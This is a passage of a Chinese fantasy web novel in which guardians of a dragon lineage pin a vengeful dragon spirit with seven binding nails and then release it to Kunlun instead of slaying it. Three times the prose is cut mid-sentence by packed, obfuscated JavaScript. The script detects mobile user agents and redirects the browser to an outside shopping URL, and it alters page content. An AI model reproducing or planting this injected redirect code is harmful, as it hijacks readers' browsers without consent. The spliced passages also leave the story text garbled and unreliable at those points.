在来之前,辛沅已经听九瑶讲了洞中发生的事,所以一路也在思考:“之前你们说通灵时看到的龙神是条银白色生有双翼的龙,可九瑶小姐和你在洞中遇到的却是一条全黑的,没有双翼的龙,那你们遇到的就不是龙魂本尊,而应该是龙神的魂魃。” “魂、魃?”沈半人诧异,“那是什么?” “是龙神心中的恨意实质化了一条恶龙出来。”江宴同他解释,“就像井姬因爱意实质化的亡灵之躯。” “难怪那条龙还会流血,”,九瑶道,“那龙身上有规律的伤口是如何形成的?” 辛沅似有些难言之隐,他纠结一番,叹了口气道:“不瞒大家,我来自于守龙世家,我的家族自万年前就与龙族达成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930917|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互守之约,族人们也曾通晓龙语,与龙共同生活在山川大泽之中。” “后来颛顼帝颁布绝地天通的法令,龙族相继回归神界,我的族人们便没了用武之地,只能离开深山,入世红尘。于是数千年来能够坚持守龙之心的族人已寥寥无几,而通晓龙语的人更是举世难寻。” “曾有族人将守龙纪要,编纂成龙谱,未防泄露,用的是守龙人跟龙族之间约定的特殊文字。据说上面记载了与龙这一物种相关的一切事情,甚至,还记载了屠龙之法。” “只是家族之中,现在已经没有人能完全看懂这本龙谱了。” 江宴听完,沉吟了片刻,道:“虽然有点冒犯,但事急从权,先生可否借龙谱给我看一看。” 辛沅怀疑:“你能看懂?” “试试吧,我有神血,或许能通上古之意。” “你是祖巫氏后人?”辛沅差点惊掉了下巴,这一趟出门到底是翻过黄历的,不然怎么尽遇到些大佬! “我作证,他确实是!而且他都学会了那么晦涩难懂的鱼国文字,说不定真能看懂你的这本龙谱!”沈半人言之凿凿。 一旁的江忍闻言,有些意外的看了江宴一眼,但并没有说什么。 辛沅抱着试一试的心态,从身上取出了一块青铜残片。 “这……就是龙谱?”沈半人不可置信。 “这是唯一没有翻译出来的那一片,其余的都在我脑子里了。”辛沅解释。 江宴接过那青铜残片,仔细看了看,有一瞬间他似乎有点惊讶,辛沅紧张的问:“怎么样,能看懂吗?” 江宴顿了顿,沉静道:“能。” 说罢,精神便集中于那片青铜残片上。 众人不敢扰他,等他看完,才小心翼翼地问上面说了什么。 江宴看一眼辛沅:“这是先生家族的机密,先生是要我单独翻译给你听,由你来决定是否公开,还是……” “公开吧。”辛沅没有犹豫,“大家今天都是冒死到此的,为的不仅是自救,还有救这一山的人,既然志同道合,本就应该相互信任。” 江宴点头:“好。节约时间,我长话短说,这残片上说了一个伏龙阵法,需要七个人,持七枚锁龙钉,从龙身的地枢、虎爪、气海、关元、巨阙、华盖、厥阴七处穴位插入,如此便可屠龙。” “可这龙已经死了,何来屠龙一说?”十七疑惑。 “残片上说此方法可屠世间一切龙,无论是龙神、龙魂、还是龙魃,皆能行之有效。” “方法是有了,我们也有七个人,但这锁龙钉从何处得呢?”辛沅头疼,时间紧迫,况且他们现在被大沼泽包围,根本离不开龙尾山。 “这条龙,在成为魂魃之前,应该也是被同样的方法杀死的,所以九瑶小姐才能在它身上看到有规律的伤口。如果可以找到它的尸骨,或许就能找到杀死它的七根锁龙钉。”一直沉默的江忍点出突破口。 “对啊!差点忘了这点!”辛沅一拍大腿,高兴的两眼放光。 “辟雷珠可以感应到龙神的尸骨吗?”江宴问他。 “这个不能确定,龙魂已经离体,若辟雷珠能感应到龙神遗骨,刚才你们在水下它就应该有反应了。” “不然,我带着辟雷珠再去水里试试吧,”九瑶提议,“这条龙是死在龙潭里的,尸骨肯定还在龙潭。”说着就要去拿辟雷珠。 江宴拦下她:“先别着急,辛先生可能有其他办法。” “你不是有小神蛊吗?”他对江宴说道,“小神蛊能读取龙魃的意念,将它生前脑海里最深刻的事情绘成蜃景,到时我们就能知道它死亡的具体位置了。” 江宴:“可是我的小神蛊还很年幼,现在还不会绘制蜃景。” 这倒是在辛沅的意料之外,不过也并非完全不能解决,他道:“你是祖巫氏后人,所以一直用的神血喂养的小神蛊,它本就与众不同。如果……能取你身体里纯度最高的心尖血来喂养它的话,其实也可以帮它提前解锁一两次绘景功能。” “好。”江宴想都没想,“十七,你随我来。” 35. 34 数千年前,吾游历人间,路经此潭,见潭水清澈,映照天空,美轮美奂。吾心生欢喜,时时嬉于此潭,沉醉忘归。 吾生性喜静,厌杀戮,爱好和平,却因部落之争,卷入阪泉之战。昔日好友,今成敌人,生死之交,却死生难测。吾浴血奋战数年,敌友皆殒,孤身寡人,虽得渺胜,心中至哀。 残命之躯,风中烛火,吾本欲老死潭中,化身川脉,惠泽人间。然吾之友人,尚有遗愿,托吾携众友之魄,复返昆仑,投身归墟,重塑神魂。以期千年之后,众友相逢,寄情山水,自在逍遥。 岂料吾归家途中,复经此潭,唇焦舌燥,魂乏力竭,于浑浑噩噩之中坠入深潭,幸得潭水滋养,渐获生机。 然人之一类,面善心狡,因吾曾助布雨,视吾为祥瑞,欲困吾于此万年。遂携同叛者,削吾双翼,剥吾鳞甲,锁吾七穴,吾痛不欲生,知无余地,惟以逆鳞与叛者同归于尽。 可吾使命未达,日夜难安,吾死不足惜,惟盼友人,早入归墟。 如能脱此沼泽,送返友人,吾愿受永世镇压,堕身妖魔,从此不得轮回…… 有片刻的光景,洞中鸦雀无声。 江忍见大家都不发一言,只好出声提醒:“既然知道龙神遗骨在哪儿了,我们尽快分工吧。我和九瑶小姐依照蜃景去找遗骨上的锁龙钉,江宴你要想好之后的行动方案,龙魃虽然实力受限,但我们之中并非人人身手矫健,如何排兵布局非常重要。现在也不是感情用事的时候。” 他这最后一句话是在提醒江宴,也是借着江宴提醒在场所有人。 江宴平复心情,道:“让十七与你们一同去,七枚锁龙钉要拔出来也要废不少功夫,多一个人多一份力,其余人留下来商量阵法的具体施行。” 任务敲定之后,两方分头行动。 九瑶、江忍和十七回到龙潭里,有了蜃景的指引,很快便找到被土沙覆盖在深处的巨龙遗骨,将七枚锁龙钉一一取了出来。 江宴这边也安排好了后续事宜,七处穴位,其中地枢,气海和厥阴,这三处穴位最为关键,落钉时遇到的风险也最大,所以依次交由江忍,九瑶和江宴三人来完成。 江宴把辟雷珠递给江忍:“忍哥,你第一个下钉,至关重要,我会用神血结阵,和九瑶一起帮你吸引巨龙的注意力。但巨龙狂戾,怕是会拼死反抗,你要小心。” 江忍没说什么,接过了辟雷珠。 “大家按约定位置藏好,一定注意保护好自己,随机应变。”江宴朝众人嘱咐一番,随即看向辛沅,“辛先生,开始吧。” 辛沅闭上眼睛默默催动寻龙术,说起来也是辛酸,身为守龙一族,从他往上数五代,家族之人竟没有一个见过真龙的。 传到他时,辛家已经是门庭冷落,子孙凋零。 他还记得年迈的太爷爷临终时握着他的手,热泪盈眶:“小沅,只要守龙的初心还在,不管此生有没有见过真龙,我们永远都是肩负着守龙使命的守龙人。” 他也记得叔父们分家时扔掉了那些关于龙的书籍和画册,满眼的不屑:“别自欺欺人了,这世上早就没有龙了!你不过是在为自己的不学无术找借口!” “我能见到龙吗?”他曾问爷爷。 “这个不一定哦。”爷爷微笑着回答。 “那我就算学会了那些东西,是不是也根本都没有意义呢。”他感到失望又失落。 爷爷仍然微笑着摸了摸他的头:“即使那样也没关系。如果有一天,你有机会和一条龙产生共鸣,你就会明白,存在即是我们最大的意义。” 山洞深处传来了清越的龙吟,沉寂了数百年的寻龙术终于再次寻得了龙的踪迹。辛沅感觉自己全身的血液都沸腾了起来,这一刻他才真正有了身为守龙人的使命感。 携裹着炽烈电光的黑色巨龙,咆哮着冲出,身影充满整个山洞,带起的劲风令碎石震颤,地动山摇。 九瑶持匕迎战,待巨龙冲到近前,怒目而视,她凌空跃起,匕首朝着巨龙的一只眼睛狠狠刺下。 巨龙咆哮,弓起身躯,鳞片发出悉悉索索的摩擦声,高耸的头颅越过了匕首的高度,口中喷吐的气息将九瑶的身体直接撞了出去。江宴催动神血结成阵法,如同一张绯红的血网兜头撒下,而网丝牵连处以符咒牢牢钳制住巨龙的动作。 九瑶稳住身形落地,握着匕首紧密观察阵中的情况。刚才一番动作,巨龙已经暴露出了龙尾,躲在龙身后伺机待发的江忍抓住时机,目光锁定龙尾的地枢穴,趁着巨龙与江宴和九瑶斡旋,猛跑几步,借力跃起,将锁龙钉准确地钉入穴位。 巨龙仰天咆哮,困在阵法中的身躯不断挣扎冲撞,九瑶近身不得。 “十七!”江宴提醒。 十七敏捷的穿梭在巨龙疯狂横扫的下身中,巨龙才被锁龙钉重创,虎口处也有旧伤,十七趁热打铁,接过沈半人扔过来的锁龙钉,一个回身,利用自己的体重将那枚锁龙钉深深刺进巨龙的虎爪之中。 穿身刺骨之痛,唤起了巨龙死前痛苦不堪的回忆,它剧烈的挣扎,披覆着坚硬鳞甲的身躯左右晃动,擦到了准备退出去的十七,十七感觉自己像是被人打了一掌,半边身子一麻,身体轻飘飘的飞了出去,幸亏江忍在下面接住他,抵消了部分力道,否则这一摔,骨头至少得断一排。 危机并未解除,巨龙面目又狰狞了几分,目光充满了怨毒,它冲着结阵的江宴发出了愤怒至极的咆哮,巨大的吼声震的山洞外的水流都翻涌喧哗起来。 江宴感觉脑中和胸腔里一阵无以言喻的剧痛,虽然咬牙生扛,但阵法威力已经大打折扣。眼看巨龙将要破阵而出,九瑶跃了上来,手中利刃擦过巨龙颌下,在那之下三寸半的位置,有龙的逆鳞,触之必怒,然而这条龙,已经没有逆鳞了。 ——龙身最脆弱致命的部位,没有了最坚硬的鳞片守护,所以在感应到危险时,便没了暴躁和狂怒,只剩下恐惧和无措。 九瑶动作不停,越过龙脊,绕行至龙腹位置,接过沈半人投来的锁龙钉,转身一气呵成干脆利落的钉入龙腹的气海穴中。 巨龙连遭重创,气势渐颓,咆哮声中已夹杂哀鸣,它仿佛预料到了自己的结局,尽管已是强弩之末,却仍不甘心被同样的方法再度杀死。 “靳川!”辛沅提醒,又看向仍在苦苦维系阵法的江宴,他知道祖巫氏结阵靠的是神血,阵法越强,神血修为就越高。若阵法由强变弱,说明结阵者有血竭之兆,他担心江宴可能都撑不到最后一个下钉。 眼见三枚锁龙钉已经成功钉入龙身,江宴虽觉气血翻涌,腑内如灼,意识却是清明的。突然心头一松,身上压力骤减,他惊讶的转过头,只见江忍与他并肩,也在结阵。 “我来替你,你留点力气下锁龙钉吧。”江忍语气平淡,并没有看他。 靳川肩膀的伤口被十七妥善处理过,但毕竟没有上过麻醉剂,动作大点,撕扯到伤口还是会有钻心之痛。疼痛尚可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009637|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍耐,疼痛引发的行动迟缓却无法控制。他勉力握起锁龙钉,巨龙正处于力竭溃败的边缘,若此时下钉成功,便为屠龙奠定成功的基础。靳川咬牙用尽浑身的力气,在被肩膀剧痛击垮前,将锁龙钉钉入巨龙的关元穴。 沈半人眼看那锁龙钉成功钉入,心里刚松了口气,还来不及高兴,那巨龙因疼痛剧烈挣扎,竟将那枚锁龙钉又弹了出来。 靳川的伤口崩裂了,半边肩膀被血染透,他脸色苍白,看着滚落在地的锁龙钉,没有说话。 “靳川……”沈半人不知道自己现在该不该给他打气。 靳川步履蹒跚地走到锁龙钉前,弯腰去拾那锁龙钉,抱了两次都没能抱得起来。 辛沅走过去想帮他,靳川却突然开口:“我……下不去手。” 他看着已是强弩之末的巨龙,看着它正在汩汩冒血的身体,看着它眼中的愤怒、委屈和悲伤。 “它没有错。” 错的明明是人。 “人类已经欠它一次,又怎么可以为了阻止祸端,一错再错下去。” 靳川的话,让众人陷入了沉默。 看了龙神死前的蜃景,是非曲直,大家都心中有数。只是能力有限,为了活命和大局,不得不去选择漠视真正的苦主,而让错误重蹈覆辙。 靳川努力过了,他在意同伴的生死超过自己,他知道山上那群游客何其无辜,可他依然无法说服自己去漠视那条龙的痛苦和无辜。 “下不去手,就不要下手了。”江宴打破了沉默。 靳川抬头看他,看到他颈下的血口,看到他满手的鲜血,心头涌上愧疚:“……对不起。” “你不用道歉,”江宴平静道,“因为我也下不去手。” “没有人下的去手!”辛沅神色复杂,“我身为守龙人,平生第一次遇龙,却不是为了守护,而是要屠龙!可龙神留下龙谱的目的,不仅仅是为了让我们守护龙族,也是为了让我们可以在它们陷入疯魔、无法自控的时候,站出来,阻止它们做下后悔的事情!” “阻止的方法并非只有屠龙。”江宴平静地看着他,“世上的事,非因即缘,你是守龙人,若你跟龙神的相遇是因,那我们今天跟龙神的相遇,便是缘。” 即是缘,就随缘。 “什么意思?”辛沅不懂。 “你打算超度这条龙吗?”九瑶猜到了他的决定。 江宴没有否认:“我们都不想屠龙,如果有其他方法,即使危险一些,困难一些,也不妨试一把。” 辛沅完全震惊于他的这个想法:“虽然你是祖巫氏后人,但龙魃不是普通的亡灵,你这是越级超度,会遭反噬的!况且,万一你失败了,我们就无法凑足七个人了!” “你是守龙人,你们家族世代守护龙族,龙神把这世上唯一可以杀死它的方法告诉你的族人,难道你还不信它也可以坚守本心吗?” “我相信,若我们抱以赤诚之心,未必不能解开罪恶的渊薮,就算我失败了,”江宴目光坚定坦然,“也有人替我。” “谁?”十七忍不住好奇。 不远处一直看戏的江离,感觉他说的好像是自己。四处看了看,确认了下,好像也只能是自己。 “这莫非是江家的传统,有事专坑自己人。”江离在心里吐槽,“不过,放心,你死了,我肯定替你。” 还在结阵的江忍似乎猜到了江宴所指,他了然的笑笑,心头生出一种从未有过的明快。 36. 35 “江宴,你现在并不适合再消耗神血修为。”沈半人想了想,还是决定提醒。 “你在虞山封印了旱魃,在青铜地宫,又超度了井姬,短短几日,两次过度消耗,结阵或许尚可支撑,但超度龙魃,恐怕会难以为继。” “龙魃虽然强悍,但已经被锁龙钉锁住了三处要害,如若能唤醒龙魃意识中的善念,得到它的配合,我也还是有胜算的。”江宴坦诚道。 时间紧迫,其实也来不及顾虑更多,提出这个计划时,江宴心中已有五成的把握,成败各半,若赢,则皆大欢喜,若输,至少也能重创龙魃,为后面下钉的人争取更多的机会。 他拔出腰间鞘套里的小刀,像从前无数次做决定一样没有丝毫犹豫,直接划开了手腕,血源源不断地涌了出来,然后迅速结印施咒。 江离远远看着这一幕,心中有点震动,目光却依然不屑:“真舍得给血,这么爱管闲事,也不知道在太爷手底下怎么活下来的!” 巨龙本就在江忍结的血阵中,这帮江宴省下了不少修为,腕间鲜血幻化成数条血色藤蔓自上而下缠绕包裹巨龙的身体,又如树根般深深扎入地底。 江宴口中轻念着古老的咒语,目光庄重而慈悲,全身都被光华笼罩着,有一种献祭般的神圣和温柔。 藤蔓不停地向上生长,盘根错节相互缠绕,拧成了庞大的树干,刺破洞顶,笔直参天。 遥远的看不见的天际,有暗云涌动,道道金色的光柱仿佛受到某种召引,撒落下来,流淌于树身,将巨龙整个包裹其中。 江忍震惊的看着眼前景象,感到不可思议,同为祖巫氏后人,他知道这是神血修为中的最高境之一,血生建木。 传闻建木是山海经中最早记录的人与神沟通的灵木,是由盘古精血所化,而祖巫氏一脉便生于此木。当年人神断交时,神界砍断了建木,断绝了祖巫氏的通天之力,致使祖巫氏从此成为无根浮萍,漂泊流亡于人界。 江宴竟然可以用神血重塑建木,通过建木引渡昆仑神界之力,净化超度龙魃。 或许,他回到虞山的目的,真的不是自己和江离所想的那样。 也许,他真的可以实现那个最不可思议的计划C:找到通往昆仑神界的路,送走那个东西,还给虞山一片生机。 九瑶默默地看着眼前的情景,这场面越是浩大,她越觉得心绪不宁,她轻轻地推了推同样紧张担忧不已的十七,问:“十七,什么是越级超度?” 十七反应了会儿,才回过神来:“越级超度,就是指跨越等级的超度,譬如我们是人,一般来说只能超度人及以下的亡灵,而神比我们高一级,超度神的亡灵就是越级超度。” “那越级超度会有什么后果吗?”靳川担忧地问。 “我也不清楚,只知道祖巫氏的族规是明令禁止越级超度的,但因为很少有这样的事例,所以也不知道究竟会有什么样的后果。” “咱们能帮江宴出点血什么的吗?”沈半人也插进来问,他看江宴这个阵实在太耗血了,怕他维持不了多久,到时候功亏一匮,就白白浪费了这些修为。 十七苦笑着摇了摇头:“你的神血尚未开发,流出来也发挥不出什么作用。而我和忍哥,修的是明字诀,我们的神血只能结阵和护法,不具备超度亡灵的资格,只有宴哥修的是血字诀,可以行封印和超度之术。” 若是能帮忙,他江十七必然早早就替了宴哥了,不会让他在损耗如此严重的情况下,还冒险行超度之术。 “修为种类也因人而异的吗?”沈半人诧异,“难道跟什么先天资质有关?” “不是,只是江家,或者说是太爷,他决定了我们谁该学什么,不该学什么。” 九瑶不放心:“那我们还能做什么?” 十七看着九瑶被血染红的后肩,关心道:“九瑶小姐,你伤的不轻,而且你已经做得够多了,剩下的就暂且交给我们宴哥吧。超度之术一旦开启,便无法终止,要么成功,要么身死,没有人能中途插手。” 辛沅闻言心情复杂:“你们江家的人这么不惜命?” “我们惜命啊,但谁让我们是祖巫氏后人呢?既然背负神血,受神血庇护,自然也要履行神血的职责。” “就像你,”十七看着他,“你都没见过龙,就敢只身下大沼泽,不也是因为背负着守龙人的使命吗?” 建木引渡昆仑之力,与龙魃身上的戾气相互制衡,两股力量皆凶悍异常,龙魂游走在正邪一念之间。突然巨龙仰天长啸,周身捆缚的血生建木顷刻崩碎瓦解。 “怎么回事?”沈半人大骇,众人惊惧不已。 江忍心下一沉:“破阵了。” 这一下反噬对江宴来说几乎是致命的,但吊在心头的那口气根本不敢松懈,凝望死局,现在唯有置之绝地而后生了,他干脆放弃了对神血的限制,任由神血之力如同决堤之洪全部涌向龙魃。 于是红色藤蔓变成了红色浪涛,再度缠绕包裹巨龙,只是这次不再是对龙魃进行克制和捆缚,而是成全和滋养。 半空中出现一串串闪着金光的字符,被潮水般涌动的红色流光携裹着冲进巨龙的身体。 红光越来越盛,颜色越来越浓,像海底深处突然卷起的一阵血色涡流,将龙魃和江宴全部吞噬其中。 “江宴!” 江宴听到有人唤他,像是九瑶的声音,可是他身体疲惫到了极致,仿佛是被吸进漩涡的溺水者,意识控制不住的沉沦。 这是身体大量失血的征兆,他知道自己现在就如同是一个盛着神血的容器,而控制放血的闸门已经彻底坏了,不再由他的意志决定。 此时此刻,他的心里竟然有一种又踏实又沉重的矛盾感。踏实的是,赌上他身体里的所有神血,一定能成功超度龙魃,沉重的是,他知道自己一定会死,但他还有许多未能完成的事情。 遗憾吧,确实有点,但世事本就无常。 意识在彻底堕入冰冷深渊前,江宴感觉自己被一阵暖融融的光拖住了,这阵光仿佛行走的流云,带着他离开了深渊,穿行在万里开阔的碧霄之中。 他睁开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080767|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,耳边风声呼啸,眼前云海涌动,他正躺在一条生有双翼的银白色巨龙的身上,随着它一齐冲入高空,穿过茫茫云气,穿过万顷霞光,来到了日月星辰的身旁。 “这是哪里?”江宴问。 “这是昆仑。”巨龙答他,声音澄澈清明。 江宴放下心来,魂入昆仑,是龙神最后的告别,他的超度成功了。 被囚禁了千年的巨龙,此刻尽情徜徉,那些日月星辰原是一座座发光的宫殿,如同海市蜃楼半隐在天际尽头,江宴随巨龙一直冲到了宫殿的最高处,看到下方的云层之中有一条银光闪闪无边无际的大湖,巨龙冲进这大湖,在湖底畅快翻浪,自由傲翔,游累了,便放松身体,随波逐流。 湖里的暗流将他们一直带到了大湖的尽头,那里似有一道宽阔而陡峭的瀑布,他们像冲浪一样冲下了瀑布,跌进了一条更加宽阔的赤色大河之中,河水鲜艳如血,温暖如春,蕴含着蓬勃的生机。 赤河的下游,与一条黑色的河流相接,那是传说中的弱水,赤河弱水虽然相接,却又泾渭分明,互不侵染,江宴注意到弱水的尽头似有一轮太阳沉在其中。可是太阳为什么会在水底呢? 巨龙游的酣畅淋漓,这里是他梦中怎么也回不去的故乡,千万年来它似乎从未发生过改变,一如神界早已停滞的时间。 “人间千年,像一场漫长的噩梦,我之所以沉沦其间,是因为我也成了这噩梦中的一员,是你叫醒了我。”巨龙开口,声音幽远释然。 “可惜你的朋友们永远也入不了归墟了。”江宴遗憾道,千年执着,终成空幻,他能理解龙神失落无助而生的怨憎逃避。 “沉于噩梦之中时,我确实遗憾负疚,所以我要谢谢你,谢谢你选择了先超度他们,方才他们在梦中与我告别,我才醒悟,原来这些年,痛苦和无能为力的不只有我,还有看着我沉沦在噩梦中不肯自拔的他们,我也成了他们的噩梦。” “你传达给我的那些字符,我看见了,当我游走在正邪一念的时候,是那些字符不断地提醒我,天亮了,我该醒了。” “昆仑很美吧?”龙神突然问。 江宴抬头,看着眼前绮景,认同:“神界之景,瀚如宇宙,凡人心向往之,却永远无法企及。” “但人间,一定也有你觉得比之更美的景色,是不是?” “是,寻常巷陌,烟火人家,也有比壮阔美景还要让人心动眷念的画面。”江宴坦诚。 “凡人眼中昆仑是神界,而在我的眼中,昆仑只是故乡而已。我与我的朋友生于昆仑,千万年来岁月相伴,志同道合,虽然我们无法在昆仑重聚,但却可以怀抱着彼此的祝福各自踏上下一段旅程,未来未必不令人期待。” 龙神身体上的每一片鳞片都在发光,如同阳光下波光粼粼的湖面,“临别之际,我赠予你一样东西。” 江宴感觉似乎有什么东西进到了自己的身体里,但不晓得具体是什么。 “你为我抱薪,我必不能让你埋于风雪之中,回去吧,你的朋友们也在等你。”